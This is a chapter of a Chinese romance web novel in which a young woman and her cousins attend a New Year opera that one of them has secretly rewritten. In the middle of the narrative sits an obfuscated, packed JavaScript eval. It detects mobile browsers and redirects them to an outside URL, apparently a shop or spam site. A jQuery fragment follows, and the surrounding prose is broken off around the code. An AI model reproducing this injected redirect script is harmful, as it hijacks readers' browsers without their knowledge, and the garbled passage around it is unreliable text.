守岁熬了一个大夜,杨微同李襄钰二人精神萎靡,眼皮子打架,各自回到厢房内沾床就睡。
好累,早知通宵这般累,自己绝不应下李襄钰一同守岁的要求,她昏迷前如是想到。
迷迷糊糊间不知过了多久,杨微口渴难耐,哑声唤棠心倒水。还未清醒,她被扶起,一盏茶送至嘴边。
她大口大口灌下整杯:“好棠心,现下什么时辰了?”
棠心轻抚着娘子的背,唯恐她喝的太急被呛到。
“回娘子,现下已过午时,方才侧妃已来过,见娘子睡得正香,叫奴婢不要唤您呢。”
杨微扶着棠心下床,头还些许疼痛。
已过午时,她睡了足有两个时辰。
“二娘子适才也差人来,只叫娘子在府里等她回来听戏,她随世子同王爷王妃去瑞安王府拜年了。”
听戏,她还尚未听过京城戏班子唱戏。
见娘子眼神微微一动,棠心知晓她的雀跃,笑道:“听闻京城里的戏班子唱的可好了,今日便能见识见识。”
杨微拿出鼓鼓囊囊的红封递给棠心:“今儿个大年初一,我睡过头了,忘了给你红封沾沾喜气了。”
棠心欣喜,接过那红封,只一拜:“奴婢谢过娘子,奴婢能在娘子身边伺候已是最大的福气。祝娘子福寿安康,岁岁年年都平安。”
她扶起棠心,叫她招呼着问春阁的下人们来,说是表小姐给个彩头,添几件新衣裳,过个好年。
给眼巴巴的婢子小厮还有婆子们每人发了一把碎银,杨微草草用了点饭,便去拜见姨母。
她拿着那封从家中寄来姨母亲启的信,心中有些发烫。
昨日便收到家中寄来的两封信,打开自己那封,信中让她吃好喝好,开开心心的。
是娘亲的笔迹,她安慰杨微,说家中一切皆好,只是妹妹很想她这个姐姐了。
随着信来的还有一千两银票,几滴泪落在那信上,晕染了墨痕。
姨母坐在房内,神色怔怔,几分寂寥。
她不似王妃,并无其他亲人在身旁,女儿明日才回门。
自女儿出嫁后,这几年每年都见不到五面,院子里冷清的很。
杨微红了眼眶,她行了一礼,把那不知被谁泪水沾湿发皱的信呈上前来。
语气涩涩:“家中来信,还望姨母一看,微儿先行告退。”
姨母已十余年不见祖父和娘亲,一是祖父前几年当官,脱不开身。
再是当年之事姨母觉着全是自己不听祖父之言才至于此,不敢见祖父娘亲。
杨微心中几分悲痛,若是自己在京城立足了,必定将一家人接过来,一家人团聚。
她忍着泪,面上神色变得更为坚韧。
她想着不管是为了自个儿,还是为着家里人,她都该一路往上爬才是。
午后,李襄钰拜过舅舅舅母回府后直奔问春阁,自己只是提了一嘴今日还要同杨微看戏,表兄又巴巴地凑了上来。
说是许久未听戏,决心跟李渃同她们一起听些,笑话,表兄岂是那爱听戏爱凑热闹的人?再说了,他的小心思自己还不知晓么?
也就李渃那个傻子看不出来。
她领着杨微走出院口,杨微见陈昀和李渃也在,不由诧异地看了李襄钰一眼。
“人多些更热闹。”
李襄钰干巴巴地说着。
杨微与二人问好,想起那绣好的折扇还未送出去,随即叫棠心拿来给世子。
自己又贴近李襄钰耳侧问她去哪里的戏园子,又听什么戏。
“我领着姐姐去,姐姐莫急。”李襄钰一脸神秘。
她心里却有些着急,本以为只她们二人听,所以选了一折子志怪戏。
她眼珠子转了转,如今表兄也在,可得换一折子合适的,最好能点醒表兄这个榆木脑袋。
棠心取来那把折扇,恭敬递给世子。
李渃一开一合,翠竹为面,颇有一番雅致。
此绣技当真不错,杨微真是有两把刷子,他满意地将扇子叫侍从放至自己的匣子里。正值隆冬,还不到用这折扇的时候。
他是玩够了折扇,丝毫没注意到身后陈昀紧盯着他冷峻的神情。
见李渃那幅不值钱的样,陈昀冷了脸。
看自己不领情,如今杨微竟换了个法子,玩那些欲情故纵的把戏。
他才不会上当。
他们分为两辆马车,李渃刚要同陈昀讲些什么,就见表兄拉着一副脸。
他不想自讨没趣,只闭上了嘴,百无聊赖地靠在软榻上。
马车走走停停,没过多久便停下。
临街那戏园子为朱漆广亮大门,门楣挂黑底鎏金的匾额“醉心园”。
大门两侧楹联书“悲欢离合,风花雪月”。
一行人进门,先过穿堂,两侧有小吃摊、茶桌、卖戏单与手巾把的伙计,人声喧嚷,茶香同脂粉香混作一团。
再往里便是主体庭院,楼上设包厢,楼下是散座,中间立着一座高出地面数尺的戏台。
荣安王府早打过招呼,今日为她们包场,戏园内除了她们几个客和匆匆忙忙的戏子伶人外并无别的人。
李襄钰支支吾吾只说去找班主商量商量些许事宜,叫她们先上二楼包厢里候着。
一个戏子为几人引路,推开一个包厢门。
里面有隔断,摆着八仙桌、太师椅,桌上还摆着些点心茶水瓜子之类,吃喝玩乐齐全。
从栏杆处望下去便是戏台子,此包厢正对着戏台子,台上摆件看的一清二楚。
李襄钰在后台找到班主,想问能否换戏。
班主有些为难,只说戏已排好,戏子们皆画好那戏妆,若是要换戏恐怕还要多等起码半个时辰。
这可如何是好,李襄钰出神片刻,在班主耳边耳语几句。
班主一脸为难,但咬牙表示可以一试。
她匆匆回到包厢内,坐至杨微身旁。
一时间台上乐器齐鸣,花旦登场。
杨微挑眉,此乃何戏,自己未曾看过。
她望向李襄钰,李襄钰摆摆手,只含糊道“志怪类的,姐姐且看下去。”
开场了还不告诉自己,这惊喜可太足了,杨微直起身,聚精会神地看着戏台上。
炭盆烧得旺,茶香裹着瓜子甜香漫在空气里,周身暖洋洋的。
率先出场的花旦扮相似狐,周转于不同小生扮演的书生贵人之间,拨动心弦,欲吃人偷心。
后来了一武生扮作捉妖师,与那狐妖斗法大战好几回合,终于把那狐妖收服。
杨微看得津津有味,只见正要感化间,那狐妖轻吐一口气。
瞬时间烟雾缭绕,场景变换。
陈昀本独自把玩着那拇指上的玉扳指,他对这些不感兴趣,只待在府里无事做才陪同表弟表妹们前来看戏。
戏里花旦狐妖化作人形,凭借美貌随意勾搭多个郎君。
他抬眼看着,只觉场景几分熟悉。
微微侧目,将目光移至身侧看的入神的小娘子脸上。
炭盆烧得火热,她的面皮变为淡淡的粉色。
厢房内熏着沉香,混杂着桌上的茶香,使他有些恍惚沉醉。
那娘子面上白里透粉,展颜间春雪消融。
不同于平日的冷清皎月般,眼角眉间竟露出几分娇俏来,与那台上演的狐妖竟没什么两样。
他又细细瞧了一瞧,确实没甚区别。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226222|197569||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
陈昀墨眉一压,不知为何烦闷之情又涌上心间。
一样的招人,一样的三心二意,一样的惹人心烦。
他的脸不知何时也因那炭盆热了起来,陈昀冷然地转过头,不去看她。
一旁的李襄钰将陈昀的神情收入眼底,她琢磨着表兄此乃何意。
怎么突然又气了起来,她精心策划的好戏分明还未开场。
半个时辰前,她脑子一转便想出个绝妙的主意来。
既然不能改换曲目,那她就新增一个。
本来这场戏到捉妖师收服感化那狐妖便结束,她又结合了名戏《西厢记》当作狐妖同捉妖师的转世,稍加改编又是一场旷世奇恋。
“这戏码不是《西厢记》么?”
李渃惊呼,他本看那幕捉妖看的热血沸腾。
好不容易那作恶多端的狐妖要被收了,转眼间又跳转至什么转世来了。
捉妖师同狐妖又成了穷酸书生和相国之女了,这显然不符合常理,哪有上辈子的仇人这辈子成有情人的。
李襄钰只拉住兄长的衣袖,不许他多言,兄长一皱眉自己便知晓他又要坏事了。
李渃见妹妹冰冷的眼神,悻悻闭上嘴。
一旁的杨微也发觉不对,狐妖吃人心是为了生存,虽为己,但于道士来说是害了同族,眼见着她就要被降服了,瞬间又消失不见。
那台上一阵敲锣打鼓白烟缭绕间又上演起了《西厢记》,什么前生今世,什么命中注定,看得她脑袋疼。
她轻抿了一口带着果香的花果茶,压下脑中涨涨之意。
忽而觉着有人在看她,她一转身,身后的陈昀端坐着,直直看着台前。
也许是看戏看久了产生的错觉,杨微摇了摇头,继续强撑着看下去。
几人都有些兴致缺缺。
李襄钰隐蔽的视线在二人中扫视,怎么与自己预料的不同。
换上《西厢记》了杨姐姐同表兄反而都无甚在意,前面那折《西山狐谈》倒还有几分互动。
这是为何?
她思来想去都想不明白,只能硬着头皮看下去。
陈昀发呆间目光不自觉又游离于杨微身上,她转头看向自己,他迅速收回视线,看向台上。
他心中不上不下的,近日一直如此,怀疑自己病了,府医把脉也把不出个所以然来。
但他睡着时总能梦到他不想梦见之人,醒着时也如此。
他觉着是否那娘子在那日那顿饭给自己下了迷魂汤,亦或是在锦袋上下了迷魂散。
他得找个外面的郎中看看。
杨微只感到锋芒在背,并非自己的错觉。
陈昀不看戏,没事盯着自己作甚。
她汗毛竖起,这郎君又想如何?
这场戏终于唱罢,总算是结束了,杨微此时有些胸闷气短,快步走出去透透气。
李襄钰跟随着她,左右摇摆间下定决心终于开口试探着问杨微,问她看了此场戏有何想法。
“人妖殊途,妖食人乃天性,人捉妖乃必然之举,这二者如何能在一起。”
杨微正色肃声道。
听杨微这般说着,李襄钰微微一滞。
原来不只表兄,她瞧着杨姐姐这般也还未开窍。
完了,这下真是完了。
这两个榆木脑袋,她心里有些绝望之意,自觉没戏。
杨姐姐连《西厢记》提都未提,今日她精心策划的一出算是打水漂了。
她叹了口气,还是毫无进展,这般下去如何是好,李襄钰有些丧气。
杨微看了一出戏十分困倦,现下眼睛都快合上了,只想着快些回府歇息。
二人心思各异,却皆一脸疲态。